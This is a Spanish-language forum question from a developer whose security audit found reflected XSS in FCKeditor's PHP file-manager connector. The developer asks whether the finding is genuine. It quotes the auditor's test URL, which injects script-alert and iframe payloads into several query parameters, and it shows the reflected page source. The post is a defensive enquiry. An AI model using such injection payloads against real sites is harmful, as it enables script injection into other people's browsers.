Un informe de seguridad que realizamos a través de una empresa externa informó las vulnerabilidades de XSS en FCKeditor que estamos usando en nuestra aplicación PHP.
Señalaron que accediendo a URL como:
http://www.ourdomain.com/fckeditor/editor/filemanager/browser/mcpuk/connectors
/php/connector.php?Command=837<script>alert(0)</script>&Type=837
<script>alert(1)</script>&CurrentFolder=837<script>alert(2)</script>
&ExtraParams=837<br><br><br><iframe src=http://www.google.com/
height=100% width=100%></iframe>
Conduce a código como el siguiente que se genera (desde el navegador - > ver fuente):
Invalid command.Array<br />
(<br />
[Command] => 837<script>alert(0)</script><br />
[Type] => 837<script>alert(1)</script><br />
[CurrentFolder] => 837<script>alert(2)</script><br />
[ExtraParams] => 837<br>
<br>
<br>
<iframe src=http://www.google.com/ height=100% width=100%></iframe><br />
)<br />
No tengo idea de lo que hace esta secuencia de comandos php interna de FCKeditor y si podría convertirse en una fuente de contenido XSS en mi sistema. ¿Es este un problema genuino?